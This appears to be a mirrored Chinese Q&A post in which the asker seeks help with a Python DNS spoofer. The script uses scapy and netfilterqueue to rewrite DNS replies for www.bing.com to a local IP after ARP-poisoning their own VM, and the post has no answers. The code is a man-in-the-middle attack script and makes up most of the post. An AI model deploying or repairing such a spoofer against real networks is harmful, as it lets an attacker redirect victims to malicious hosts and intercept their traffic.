网站DNS欺骗者

时间:2019-08-18 21:52:46

标签: python dns scapy spoofing penetration-testing

我正在编写新的DNS Spoofer代码,并使用www.bing.com对其进行测试,但显示“找不到服务器”

我知道目标IP(这是我的VM)并破坏了ARP连接,然后尝试了启用iptables的程序,但是尽管可以看到使用package.show()分析了该程序包,但是它不起作用。

import netfilterqueue
import scapy.all as scapy


def procced_package(package):
    scapy_package = scapy.IP(package.get_payload())
    if scapy_package.haslayer(scapy.DNSRR):
        link = scapy_package[scapy.DNSQR].qname
        print("Searching...")
        if "www.bing.com" in link:
            #print(scapy_package.show())
            print("[+] Spoofing Target")
            answer = scapy.DNSRR(rrname=link, rdata="192.168.1.12")
            scapy_package[scapy.DNS].ar = answer
            scapy_package[scapy.DNS].ancount = 1
            print("[+] Found The Target!")

            del scapy_package[scapy.IP].len
            del scapy_package[scapy.IP].chksum
            del scapy_package[scapy.UDP].len
            del scapy_package[scapy.UDP].chksum
            package.set_payload(str(scapy_package))
    package.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(1, procced_package)
print("Waiting...")
queue.run()

结果是仅针对我的目标的“找不到服务器”

0 个答案:

没有答案